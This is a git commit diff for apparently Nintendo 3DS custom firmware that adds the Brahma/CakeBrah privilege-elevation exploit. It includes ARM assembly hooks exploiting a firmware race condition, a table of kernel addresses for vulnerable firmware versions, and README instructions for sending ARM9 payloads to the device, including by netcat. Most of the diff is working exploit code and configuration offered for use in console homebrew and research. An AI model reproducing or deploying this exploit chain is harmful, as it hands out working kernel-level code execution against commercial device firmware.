Updated to support hax 2.5, edited README, supports devkitpro 45, etc
This commit is contained in:
parent
653bea3e56
commit
a6d8d77ac7
12
README.md
12
README.md
@ -15,15 +15,13 @@ Pre-compiled version can still be found on my [pastebin](http://pastebin.com/c5A
|
|||||||
|
|
||||||
**Features:**
|
**Features:**
|
||||||
|
|
||||||
* Ninjhax and MSET support!
|
* Ninjhax 2.5 and MSET support!
|
||||||
|
|
||||||
* Sig checks disabled
|
* Sig checks disabled!
|
||||||
|
|
||||||
* screenshots (set for pokemon game offsets currently) [Select Button + X]
|
* Basic ARM9 thread with screenshot and RAM dump capabilities!
|
||||||
|
|
||||||
* RAM dump (currently set for FCRAM) [Start Button + X]
|
* Emunand up to latest firmware! (with 'Rei' version string)
|
||||||
|
|
||||||
* emunand (with 'Rei' version string)
|
|
||||||
|
|
||||||
|
|
||||||
**Credits:**
|
**Credits:**
|
||||||
@ -32,7 +30,7 @@ Pre-compiled version can still be found on my [pastebin](http://pastebin.com/c5A
|
|||||||
|
|
||||||
3DBREW for saving me plenty of reverse engineering time.
|
3DBREW for saving me plenty of reverse engineering time.
|
||||||
|
|
||||||
Patois for Brahma code.
|
Patois/Cakes for Brahma code.
|
||||||
|
|
||||||
Normmatt for sdmmc.c and generally being helpful!
|
Normmatt for sdmmc.c and generally being helpful!
|
||||||
|
|
||||||
|
2
mset
2
mset
@ -1 +1 @@
|
|||||||
Subproject commit 7f5e51a1fc969ce6d7db1dc81ea92426960367ac
|
Subproject commit 89e4a8f0675ca70a7b0574fdcdd30b0f1d97d43e
|
6
ninjhax/.gitignore
vendored
Normal file
6
ninjhax/.gitignore
vendored
Normal file
@ -0,0 +1,6 @@
|
|||||||
|
*.elf
|
||||||
|
*.3dsx
|
||||||
|
*.smdh
|
||||||
|
|
||||||
|
build
|
||||||
|
output
|
@ -9,6 +9,11 @@ endif
|
|||||||
TOPDIR ?= $(CURDIR)
|
TOPDIR ?= $(CURDIR)
|
||||||
include $(DEVKITARM)/3ds_rules
|
include $(DEVKITARM)/3ds_rules
|
||||||
|
|
||||||
|
# This should be set externally
|
||||||
|
name ?= reiNand.dat
|
||||||
|
filepath ?=
|
||||||
|
dir_out ?= $(CURDIR)
|
||||||
|
|
||||||
#---------------------------------------------------------------------------------
|
#---------------------------------------------------------------------------------
|
||||||
# TARGET is the name of the output
|
# TARGET is the name of the output
|
||||||
# BUILD is the directory where object files & intermediate files will be placed
|
# BUILD is the directory where object files & intermediate files will be placed
|
||||||
@ -26,26 +31,27 @@ include $(DEVKITARM)/3ds_rules
|
|||||||
# - icon.png
|
# - icon.png
|
||||||
# - <libctru folder>/default_icon.png
|
# - <libctru folder>/default_icon.png
|
||||||
#---------------------------------------------------------------------------------
|
#---------------------------------------------------------------------------------
|
||||||
TARGET := ReiNand
|
TARGET := $(name:.dat=)
|
||||||
BUILD := build
|
BUILD := build
|
||||||
SOURCES := source
|
SOURCES := source source/libkhax
|
||||||
|
DATA := data
|
||||||
INCLUDES := include
|
INCLUDES := include
|
||||||
APP_TITLE := ReiNAND
|
APP_TITLE ?= $(name:.dat=)
|
||||||
APP_DESCRIPTION := N3DS CFW
|
APP_DESCRIPTION ?= Privileged ARM11/ARM9 Code Execution
|
||||||
APP_AUTHOR := Reisyukaku
|
APP_AUTHOR ?= patois
|
||||||
|
|
||||||
#---------------------------------------------------------------------------------
|
#---------------------------------------------------------------------------------
|
||||||
# options for code generation
|
# options for code generation
|
||||||
#---------------------------------------------------------------------------------
|
#---------------------------------------------------------------------------------
|
||||||
ARCH := -march=armv6k -mtune=mpcore -mfloat-abi=hard
|
ARCH := -march=armv6k -mtune=mpcore -mfloat-abi=hard
|
||||||
|
|
||||||
CFLAGS := -g -Wall -O3 -mword-relocations \
|
CFLAGS := -g -Wall -Wextra -O3 -mword-relocations \
|
||||||
-fomit-frame-pointer -ffast-math \
|
-fomit-frame-pointer -ffast-math \
|
||||||
$(ARCH)
|
$(ARCH)
|
||||||
|
|
||||||
CFLAGS += $(INCLUDE) -DARM11 -D_3DS -DARM_ARCH -w
|
CFLAGS += $(INCLUDE) -DARM11 -D_3DS -DARM_ARCH -DLAUNCHER_PATH='"$(filepath)$(name)"'
|
||||||
|
|
||||||
CXXFLAGS := $(CFLAGS) -fno-rtti -fno-exceptions -std=gnu++11 -w
|
CXXFLAGS := $(CFLAGS) -fno-rtti -fno-exceptions -std=gnu++11
|
||||||
|
|
||||||
ASFLAGS := -g $(ARCH)
|
ASFLAGS := -g $(ARCH)
|
||||||
LDFLAGS = -specs=3dsx.specs -g $(ARCH) -Wl,-Map,$(notdir $*.map)
|
LDFLAGS = -specs=3dsx.specs -g $(ARCH) -Wl,-Map,$(notdir $*.map)
|
||||||
@ -66,7 +72,7 @@ LIBDIRS := $(CTRULIB)
|
|||||||
ifneq ($(BUILD),$(notdir $(CURDIR)))
|
ifneq ($(BUILD),$(notdir $(CURDIR)))
|
||||||
#---------------------------------------------------------------------------------
|
#---------------------------------------------------------------------------------
|
||||||
|
|
||||||
export OUTPUT := $(CURDIR)/$(TARGET)
|
export OUTPUT := $(dir_out)/$(TARGET)
|
||||||
export TOPDIR := $(CURDIR)
|
export TOPDIR := $(CURDIR)
|
||||||
|
|
||||||
export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \
|
export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \
|
||||||
@ -77,6 +83,7 @@ export DEPSDIR := $(CURDIR)/$(BUILD)
|
|||||||
CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c)))
|
CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c)))
|
||||||
CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp)))
|
CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp)))
|
||||||
SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s)))
|
SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s)))
|
||||||
|
BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*)))
|
||||||
|
|
||||||
#---------------------------------------------------------------------------------
|
#---------------------------------------------------------------------------------
|
||||||
# use CXX for linking C++ projects, CC for standard C
|
# use CXX for linking C++ projects, CC for standard C
|
||||||
@ -92,7 +99,8 @@ else
|
|||||||
endif
|
endif
|
||||||
#---------------------------------------------------------------------------------
|
#---------------------------------------------------------------------------------
|
||||||
|
|
||||||
export OFILES := $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o)
|
export OFILES := $(addsuffix .o,$(BINFILES)) \
|
||||||
|
$(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o)
|
||||||
|
|
||||||
export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \
|
export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \
|
||||||
$(foreach dir,$(LIBDIRS),-I$(dir)/include) \
|
$(foreach dir,$(LIBDIRS),-I$(dir)/include) \
|
||||||
@ -110,7 +118,7 @@ ifeq ($(strip $(ICON)),)
|
|||||||
endif
|
endif
|
||||||
endif
|
endif
|
||||||
else
|
else
|
||||||
export APP_ICON := $(TOPDIR)/$(ICON)
|
export APP_ICON := $(ICON)
|
||||||
endif
|
endif
|
||||||
|
|
||||||
.PHONY: $(BUILD) clean all
|
.PHONY: $(BUILD) clean all
|
||||||
@ -126,7 +134,8 @@ $(BUILD):
|
|||||||
#---------------------------------------------------------------------------------
|
#---------------------------------------------------------------------------------
|
||||||
clean:
|
clean:
|
||||||
@echo clean ...
|
@echo clean ...
|
||||||
@rm -fr $(BUILD) $(TARGET).3dsx $(OUTPUT).smdh $(TARGET).elf
|
@rm -fr $(BUILD) $(OUTPUT).3dsx $(OUTPUT).smdh
|
||||||
|
|
||||||
|
|
||||||
#---------------------------------------------------------------------------------
|
#---------------------------------------------------------------------------------
|
||||||
else
|
else
|
||||||
@ -141,8 +150,7 @@ ifeq ($(strip $(NO_SMDH)),)
|
|||||||
all : $(OUTPUT).3dsx $(OUTPUT).smdh
|
all : $(OUTPUT).3dsx $(OUTPUT).smdh
|
||||||
endif
|
endif
|
||||||
cpu.o cpu_threaded.o: CFLAGS += -Wno-unused-variable -Wno-unused-label
|
cpu.o cpu_threaded.o: CFLAGS += -Wno-unused-variable -Wno-unused-label
|
||||||
$(OUTPUT).3dsx : $(OUTPUT).elf
|
$(OUTPUT).3dsx : $(OFILES)
|
||||||
$(OUTPUT).elf : $(OFILES)
|
|
||||||
|
|
||||||
#---------------------------------------------------------------------------------
|
#---------------------------------------------------------------------------------
|
||||||
# you need a rule like this for each extension you use as binary data
|
# you need a rule like this for each extension you use as binary data
|
||||||
|
121
ninjhax/README-brahma
Normal file
121
ninjhax/README-brahma
Normal file
@ -0,0 +1,121 @@
|
|||||||
|
Brahma - Privilege elevation exploit for the Nintendo 3DS
|
||||||
|
=========================================================
|
||||||
|
|
||||||
|
WTF is 'Brahma'?
|
||||||
|
----------------
|
||||||
|
Brahma is a development tool for the Nintendo 3DS platform that enables
|
||||||
|
privileged code execution on the ARM9 processor of the Nintendo 3DS platform.
|
||||||
|
It does so by exploiting two vulnerabilities in order to elevate its
|
||||||
|
privileges.
|
||||||
|
|
||||||
|
The exploits utilized by Brahma are based on "commercial" exploits that
|
||||||
|
have been reverse engineered. Brahma has been developed with the goal of
|
||||||
|
understanding and documenting the nature of the exploits in mind and has
|
||||||
|
been put further effort into during its development process in order to
|
||||||
|
achieve reliable exploitation and stability.
|
||||||
|
|
||||||
|
Brahma comes with full source code that is based on libctru and requires
|
||||||
|
existing user mode code execution privileges (Ninjhax), and can then be
|
||||||
|
used to further elevate privileges to ARM9 pre-kernel / SVC mode.
|
||||||
|
|
||||||
|
Also, "Brahma, the creator" is a god in hinduism that is often portrayed
|
||||||
|
with four heads and arms (heh... so funny :\).
|
||||||
|
|
||||||
|
How to build:
|
||||||
|
-------------
|
||||||
|
- Download and install devkitARM (http://devkitpro.org/wiki/Getting_Started)
|
||||||
|
- Open a shell and run make
|
||||||
|
|
||||||
|
How to use:
|
||||||
|
-----------
|
||||||
|
- Prebuilt binary releases are available at
|
||||||
|
https://github.com/patois/Brahma/releases
|
||||||
|
- Run brahma.3dsx (using homebrew launcher)
|
||||||
|
- By default, the exploit will attempt to gain ARM11 kernel privileges before
|
||||||
|
finally gaining ARM9 pre-kernel privileges (by performing a "firmlaunch")
|
||||||
|
|
||||||
|
"Hotkeys" (press and hold during startup of BRAHMA):
|
||||||
|
----------------------------------------------------
|
||||||
|
|
||||||
|
* LEFT : Loads 'arm9payload.bin' from the root folder of the 3DS' SD card
|
||||||
|
and executes it
|
||||||
|
|
||||||
|
* RIGHT : Performs a reboot / firm launch of the 3DS system
|
||||||
|
|
||||||
|
* NONE : Displays a menu which allows payload files to be received via
|
||||||
|
a WiFi network connection or loaded from the '/brahma' folder
|
||||||
|
located in the root folder of the SD card
|
||||||
|
|
||||||
|
In order to send payload files to the 3DS via a network connection,
|
||||||
|
the Python script '/tools/client.py' can be used. Alternatively, netcat
|
||||||
|
does the job as well.
|
||||||
|
|
||||||
|
Syntax:
|
||||||
|
-------
|
||||||
|
client.py: 'python client.py <3DS ip> <filename>'
|
||||||
|
netcat: 'nc <3DS ip> 80 < <filename>'
|
||||||
|
|
||||||
|
Examples:
|
||||||
|
---------
|
||||||
|
client.py: 'python client.py 10.0.0.5 payload.bin'
|
||||||
|
netcat: 'nc 10.0.0.5 80 < payload.bin'
|
||||||
|
|
||||||
|
Example programs that run in privileged ARM9 mode can be downloaded from
|
||||||
|
https://github.com/patois/3DSProjects/tree/master/Brahma/
|
||||||
|
|
||||||
|
A memory dumper (3DSDevTools) for Brahma is available at
|
||||||
|
https://github.com/patois/3DSDevTools/releases
|
||||||
|
|
||||||
|
There is also a port of Decrypt9 by archshift which can be loaded using
|
||||||
|
bootstrap or Brahma (use 'make' to build the project, then use one of the
|
||||||
|
methods supported by Brahma to load the Decrypt9 payload). Decrypt9 can be
|
||||||
|
downloaded from https://github.com/archshift/Decrypt9/tree/bootstrap
|
||||||
|
|
||||||
|
Developers:
|
||||||
|
-----------
|
||||||
|
Brahma and its exploits which enable privileged ARM9 code execution
|
||||||
|
on the Nintendo 3DS may also be used as a "library" (#include "brahma.h")
|
||||||
|
|
||||||
|
- call brahma_init() - initializes Brahma
|
||||||
|
- call load_arm9_payload() - loads a payload binary from disk
|
||||||
|
- call firm_reboot() - executes a payload binary (privileged ARM9 code)
|
||||||
|
- (please check the source code for more features and options)
|
||||||
|
|
||||||
|
ARM9 payload must consist of valid ARM9 executable code and will be
|
||||||
|
mapped to physical address 0x23F00000 during run-time. Its code should begin
|
||||||
|
with a branch instruction at offset 0 and a 'placeholder' for a u32
|
||||||
|
variable at offset 4, which will be filled by Brahma with a backup of
|
||||||
|
the original ARM9 entry point of the FIRM header during runtime.
|
||||||
|
|
||||||
|
Brahma is written in a way that allows developers of payload binaries
|
||||||
|
to easily return control to the 3DS' firmware by simply returning from
|
||||||
|
the main() function of the payload.
|
||||||
|
|
||||||
|
This allows reading and altering of memory contents, such as the mapped
|
||||||
|
Nintendo firmware (including ARM9 kernel, Process9, ARM11 kernel and several
|
||||||
|
processes running on the ARM11 core), for testing purposes, without requiring
|
||||||
|
any changes on the file system level.
|
||||||
|
|
||||||
|
Credits:
|
||||||
|
--------
|
||||||
|
- To 3dbrew.org and all its contributors for being such a great resource
|
||||||
|
- To whomever initially found the vulnerabilities and wrote the publicly
|
||||||
|
available exploit code
|
||||||
|
- To everybody who's been working on porting this exploit and its various
|
||||||
|
"bootstrap" branches to newer firmware versions and improving its stability
|
||||||
|
(in particular yifanlu, yuriks and shinyquagsire23)
|
||||||
|
- To everybody involved in creating libctru, Ninjhax and the Homebrew Menu
|
||||||
|
|
||||||
|
Disclaimer:
|
||||||
|
THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESSED OR IMPLIED WARRANTIES,
|
||||||
|
INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS
|
||||||
|
OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||||
|
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
|
||||||
|
OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||||
|
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||||
|
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
|
||||||
|
IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY
|
||||||
|
OF SUCH DAMAGE.
|
||||||
|
|
||||||
|
(c) 2015, patois
|
23
ninjhax/README.md
Normal file
23
ninjhax/README.md
Normal file
@ -0,0 +1,23 @@
|
|||||||
|
CakeBrah
|
||||||
|
========
|
||||||
|
|
||||||
|
This is a fork of Brahma, that loads CakeHax payloads in the environment they expect.
|
||||||
|
This means mostly setting the framebuffer offsets and mode right.
|
||||||
|
|
||||||
|
How to use this in your project
|
||||||
|
-------------------------------
|
||||||
|
|
||||||
|
Look at [CakeHax](https://github.com/mid-kid/CakeHax) for this. It's pretty much the same.
|
||||||
|
No injection with dd is needed, as it loads the payload from your .dat file.
|
||||||
|
The different configuration flags are detailed below.
|
||||||
|
|
||||||
|
### Makefile options
|
||||||
|
|
||||||
|
Name |Default |Description
|
||||||
|
----------------|------------------------------------|-----------
|
||||||
|
dir\_out |$(CURDIR) |Where the output files should be placed (3dsx and smdh).
|
||||||
|
name |Cakes.dat |The name of the .dat file from which the payload will be loaded.
|
||||||
|
filepath | |Path in the SD card where the .dat file is located.
|
||||||
|
APP\_TITLE |Cakes |The title of the app shown in the Homebrew Menu.
|
||||||
|
APP\_DESCRIPTION|Privileged ARM11/ARM9 Code Execution|The description of the app shown in the Homebrew Menu.
|
||||||
|
APP\_AUTHOR |patois |The author of the app shown in the Homebrew Menu.
|
@ -2,30 +2,25 @@
|
|||||||
|
|
||||||
#include "exploitdata.h"
|
#include "exploitdata.h"
|
||||||
|
|
||||||
s32 load_arm9_payload (char *filename);
|
u32 brahma_init (void);
|
||||||
|
u32 brahma_exit (void);
|
||||||
|
s32 load_arm9_payload_offset (char *filename, u32 offset, u32 max_psize);
|
||||||
s32 load_arm9_payload_from_mem (u8* data, u32 dsize);
|
s32 load_arm9_payload_from_mem (u8* data, u32 dsize);
|
||||||
void redirect_codeflow (u32 *dst_addr, u32 *src_addr);
|
void redirect_codeflow (u32 *dst_addr, u32 *src_addr);
|
||||||
void do_gshax_copy (void *dst, void *src, u32 len);
|
|
||||||
void priv_write_four (u32 address);
|
|
||||||
void user_clear_icache (void);
|
|
||||||
s32 corrupt_svcCreateThread (void);
|
|
||||||
s32 map_arm9_payload (void);
|
s32 map_arm9_payload (void);
|
||||||
s32 map_arm11_payload (void);
|
s32 map_arm11_payload (void);
|
||||||
void exploit_arm9_race_condition (void);
|
void exploit_arm9_race_condition (void);
|
||||||
void repair_svcCreateThread (void);
|
|
||||||
s32 get_exploit_data (struct exploit_data *data);
|
s32 get_exploit_data (struct exploit_data *data);
|
||||||
s32 firm_reboot ();
|
s32 firm_reboot ();
|
||||||
|
|
||||||
|
#define load_arm9_payload(filename) load_arm9_payload_offset(filename, 0, 0)
|
||||||
|
|
||||||
#define BRAHMA_NETWORK_PORT 80
|
#define BRAHMA_NETWORK_PORT 80
|
||||||
|
|
||||||
#define ARM_JUMPOUT 0xE51FF004 // LDR PC, [PC, -#04]
|
#define ARM_JUMPOUT 0xE51FF004 // LDR PC, [PC, -#04]
|
||||||
#define ARM_RET 0xE12FFF1E // BX LR
|
#define ARM_RET 0xE12FFF1E // BX LR
|
||||||
#define ARM_NOP 0xE1A00000 // NOP
|
#define ARM_NOP 0xE1A00000 // NOP
|
||||||
|
|
||||||
static u8 *g_ext_arm9_buf;
|
|
||||||
static u32 g_ext_arm9_size = 0;
|
|
||||||
static s32 g_ext_arm9_loaded = 0;
|
|
||||||
|
|
||||||
extern void *arm11_start;
|
extern void *arm11_start;
|
||||||
extern void *arm11_end;
|
extern void *arm11_end;
|
||||||
extern void *arm9_start;
|
extern void *arm9_start;
|
||||||
|
@ -17,18 +17,17 @@
|
|||||||
/* any changes to this structure must also be applied to
|
/* any changes to this structure must also be applied to
|
||||||
the data structure following the 'arm11_globals_start'
|
the data structure following the 'arm11_globals_start'
|
||||||
label of arm11.s */
|
label of arm11.s */
|
||||||
typedef struct arm11_shared_data {
|
struct arm11_shared_data {
|
||||||
u32 va_pdn_regs;
|
u32 va_pdn_regs;
|
||||||
u32 va_pxi_regs;
|
u32 va_pxi_regs;
|
||||||
u32 va_hook1_ret;
|
u32 va_hook1_ret;
|
||||||
};
|
};
|
||||||
|
|
||||||
typedef struct exploit_data {
|
struct exploit_data {
|
||||||
|
|
||||||
u32 firm_version;
|
u32 firm_version;
|
||||||
u32 sys_model; // mask
|
u32 sys_model; // mask
|
||||||
|
|
||||||
u32 va_patch_createthread;
|
|
||||||
u32 va_patch_hook1;
|
u32 va_patch_hook1;
|
||||||
u32 va_patch_hook2;
|
u32 va_patch_hook2;
|
||||||
u32 va_hook1_ret;
|
u32 va_hook1_ret;
|
||||||
@ -42,15 +41,11 @@ typedef struct exploit_data {
|
|||||||
u32 va_pxi_regs;
|
u32 va_pxi_regs;
|
||||||
};
|
};
|
||||||
|
|
||||||
static struct exploit_data g_expdata;
|
|
||||||
static struct arm11_shared_data g_arm11shared;
|
|
||||||
|
|
||||||
// add all vulnerable systems below
|
// add all vulnerable systems below
|
||||||
static const struct exploit_data supported_systems[] = {
|
static const struct exploit_data supported_systems[] = {
|
||||||
{
|
{
|
||||||
0x022E0000, // FIRM version
|
0x022E0000, // FIRM version
|
||||||
SYS_MODEL_NEW_3DS, // model
|
SYS_MODEL_NEW_3DS, // model
|
||||||
0xDFF83837, // VA of CreateThread code to corrupt
|
|
||||||
0xDFFE7A50, // VA of 1st hook for firmlaunch
|
0xDFFE7A50, // VA of 1st hook for firmlaunch
|
||||||
0xDFFF4994, // VA of 2nd hook for firmlaunch
|
0xDFFF4994, // VA of 2nd hook for firmlaunch
|
||||||
0xFFF28A58, // VA of return address from 1st hook
|
0xFFF28A58, // VA of return address from 1st hook
|
||||||
@ -64,7 +59,6 @@ static const struct exploit_data supported_systems[] = {
|
|||||||
{
|
{
|
||||||
0x022C0600, // FIRM version
|
0x022C0600, // FIRM version
|
||||||
SYS_MODEL_NEW_3DS, // model
|
SYS_MODEL_NEW_3DS, // model
|
||||||
0xDFF83837, // VA of CreateThread code to corrupt
|
|
||||||
0xDFFE7A50, // VA of 1st hook for firmlaunch
|
0xDFFE7A50, // VA of 1st hook for firmlaunch
|
||||||
0xDFFF4994, // VA of 2nd hook for firmlaunch
|
0xDFFF4994, // VA of 2nd hook for firmlaunch
|
||||||
0xFFF28A58, // VA of return address from 1st hook
|
0xFFF28A58, // VA of return address from 1st hook
|
||||||
@ -78,7 +72,6 @@ static const struct exploit_data supported_systems[] = {
|
|||||||
{
|
{
|
||||||
0x02220000,
|
0x02220000,
|
||||||
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
|
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
|
||||||
0xEFF83C9F,
|
|
||||||
0xEFFE4DD4,
|
0xEFFE4DD4,
|
||||||
0xEFFF497C,
|
0xEFFF497C,
|
||||||
0xFFF84DDC,
|
0xFFF84DDC,
|
||||||
@ -92,7 +85,6 @@ static const struct exploit_data supported_systems[] = {
|
|||||||
{
|
{
|
||||||
0x02230600,
|
0x02230600,
|
||||||
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
|
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
|
||||||
0xEFF83737,
|
|
||||||
0xEFFE55BC,
|
0xEFFE55BC,
|
||||||
0xEFFF4978,
|
0xEFFF4978,
|
||||||
0xFFF765C4,
|
0xFFF765C4,
|
||||||
@ -106,7 +98,6 @@ static const struct exploit_data supported_systems[] = {
|
|||||||
{
|
{
|
||||||
0x022E0000,
|
0x022E0000,
|
||||||
SYS_MODEL_OLD_3DS,
|
SYS_MODEL_OLD_3DS,
|
||||||
0xDFF8383F,
|
|
||||||
0xDFFE59D0,
|
0xDFFE59D0,
|
||||||
0xDFFF4974,
|
0xDFFF4974,
|
||||||
0xFFF279D8,
|
0xFFF279D8,
|
||||||
@ -120,7 +111,6 @@ static const struct exploit_data supported_systems[] = {
|
|||||||
{
|
{
|
||||||
0x022C0600,
|
0x022C0600,
|
||||||
SYS_MODEL_OLD_3DS,
|
SYS_MODEL_OLD_3DS,
|
||||||
0xDFF8376F,
|
|
||||||
0xDFFE4F28,
|
0xDFFE4F28,
|
||||||
0xDFFF4974,
|
0xDFFF4974,
|
||||||
0xFFF66F30,
|
0xFFF66F30,
|
||||||
@ -134,21 +124,19 @@ static const struct exploit_data supported_systems[] = {
|
|||||||
{
|
{
|
||||||
0x02280000,
|
0x02280000,
|
||||||
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
|
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
|
||||||
0xEFF83733,
|
|
||||||
0xEFFE5B30,
|
0xEFFE5B30,
|
||||||
0xEFFF4974,
|
0xEFFF4978,
|
||||||
0xFFF76B38,
|
0xFFF76B38,
|
||||||
0xF0000000,
|
0xF0000000,
|
||||||
0xEFFF4000,
|
0xEFFF4000,
|
||||||
0xFFFF0000,
|
0xFFFF0000,
|
||||||
0xFFF54BAC,
|
0xFFF64AAC,
|
||||||
0xFFFD0000,
|
0xFFFD0000,
|
||||||
0xFFFD2000
|
0xFFFD2000
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
0x02270400,
|
0x02270400,
|
||||||
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
|
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
|
||||||
0xEFF83737,
|
|
||||||
0xEFFE5B34,
|
0xEFFE5B34,
|
||||||
0xEFFF4978,
|
0xEFFF4978,
|
||||||
0xFFF76B3C,
|
0xFFF76B3C,
|
||||||
@ -162,7 +150,6 @@ static const struct exploit_data supported_systems[] = {
|
|||||||
{
|
{
|
||||||
0x02250000,
|
0x02250000,
|
||||||
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
|
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
|
||||||
0xEFF83733,
|
|
||||||
0xEFFE5AE8,
|
0xEFFE5AE8,
|
||||||
0xEFFF4978,
|
0xEFFF4978,
|
||||||
0xFFF76AF0,
|
0xFFF76AF0,
|
||||||
@ -176,7 +163,6 @@ static const struct exploit_data supported_systems[] = {
|
|||||||
{
|
{
|
||||||
0x02260000,
|
0x02260000,
|
||||||
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
|
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
|
||||||
0xEFF83733,
|
|
||||||
0xEFFE5AE8,
|
0xEFFE5AE8,
|
||||||
0xEFFF4978,
|
0xEFFF4978,
|
||||||
0xFFF76AF0,
|
0xFFF76AF0,
|
||||||
@ -190,7 +176,6 @@ static const struct exploit_data supported_systems[] = {
|
|||||||
{
|
{
|
||||||
0x02240000,
|
0x02240000,
|
||||||
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
|
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
|
||||||
0xEFF83733,
|
|
||||||
0xEFFE55B8,
|
0xEFFE55B8,
|
||||||
0xEFFF4978,
|
0xEFFF4978,
|
||||||
0xFFF765C0,
|
0xFFF765C0,
|
||||||
|
@ -1,4 +1,8 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
|
|
||||||
void InvalidateEntireInstructionCache (void);
|
void InvalidateEntireInstructionCache (void);
|
||||||
|
void CleanEntireDataCache (void);
|
||||||
|
void dsb(void);
|
||||||
|
void DisableInterrupts (void);
|
||||||
|
void EnableInterrupts (void);
|
||||||
void InvalidateEntireDataCache (void);
|
void InvalidateEntireDataCache (void);
|
||||||
|
@ -11,8 +11,8 @@ arm11_start:
|
|||||||
hook1:
|
hook1:
|
||||||
STMFD SP!, {R0-R12,LR}
|
STMFD SP!, {R0-R12,LR}
|
||||||
|
|
||||||
MOV R0, #1000
|
MOV R0, #64
|
||||||
BL busy_spin
|
BL delay
|
||||||
|
|
||||||
MOV R0, #0
|
MOV R0, #0
|
||||||
BL pxi_send
|
BL pxi_send
|
||||||
@ -29,15 +29,9 @@ hook1:
|
|||||||
MOV R0, #2
|
MOV R0, #2
|
||||||
BL pdn_send
|
BL pdn_send
|
||||||
|
|
||||||
MOV R0, #16
|
|
||||||
BL busy_spin
|
|
||||||
|
|
||||||
MOV R0, #0
|
MOV R0, #0
|
||||||
BL pdn_send
|
BL pdn_send
|
||||||
|
|
||||||
MOV R0, #16
|
|
||||||
BL busy_spin
|
|
||||||
|
|
||||||
LDMFD SP!, {R0-R12,LR}
|
LDMFD SP!, {R0-R12,LR}
|
||||||
|
|
||||||
LDR R0, var_44836
|
LDR R0, var_44836
|
||||||
@ -53,6 +47,10 @@ hook2:
|
|||||||
LDR R2, pa_hijack_arm9_dst
|
LDR R2, pa_hijack_arm9_dst
|
||||||
MOV R4, R2
|
MOV R4, R2
|
||||||
BL copy_mem
|
BL copy_mem
|
||||||
|
MOV r0, #0
|
||||||
|
MCR p15, 0, r0, c7, c10, 0 @ Clean data cache
|
||||||
|
MCR p15, 0, r0, c7, c10, 4 @ Drain write buffer
|
||||||
|
MCR p15, 0, r0, c7, c5, 0 @ Flush instruction cache
|
||||||
BX R4
|
BX R4
|
||||||
|
|
||||||
@ exploits a race condition in order
|
@ exploits a race condition in order
|
||||||
@ -78,12 +76,6 @@ wait_arm9_loop:
|
|||||||
ANDS R0, R0, #1
|
ANDS R0, R0, #1
|
||||||
BNE wait_arm9_loop
|
BNE wait_arm9_loop
|
||||||
|
|
||||||
@ get arm9 orig entry point phys addr from FIRM header
|
|
||||||
LDR R0, [R10, #0x0C]
|
|
||||||
|
|
||||||
@ backup orig entry point to FCRAM + offs ARM9 payload + 4
|
|
||||||
STR R0, [R9, #0x4]
|
|
||||||
|
|
||||||
@ overwrite orig entry point with FCRAM addr
|
@ overwrite orig entry point with FCRAM addr
|
||||||
@ this exploits the race condition bug
|
@ this exploits the race condition bug
|
||||||
STR R9, [R10, #0x0C]
|
STR R9, [R10, #0x0C]
|
||||||
@ -96,7 +88,7 @@ wait_arm11_loop:
|
|||||||
BX R1
|
BX R1
|
||||||
|
|
||||||
pa_hijack_arm9_dst: .long 0x1FFFFC00
|
pa_hijack_arm9_dst: .long 0x1FFFFC00
|
||||||
pa_arm11_code: .long 0x1FFFFFFC
|
pa_arm11_code: .long 0x1FFFFFF8
|
||||||
pa_pxi_regs: .long 0x10163000
|
pa_pxi_regs: .long 0x10163000
|
||||||
some_pxi_cmd: .long 0x44846
|
some_pxi_cmd: .long 0x44846
|
||||||
pa_firm_header: .long 0x24000000
|
pa_firm_header: .long 0x24000000
|
||||||
@ -128,12 +120,6 @@ loc_FFFF0AA8:
|
|||||||
locret_FFFF0AC0:
|
locret_FFFF0AC0:
|
||||||
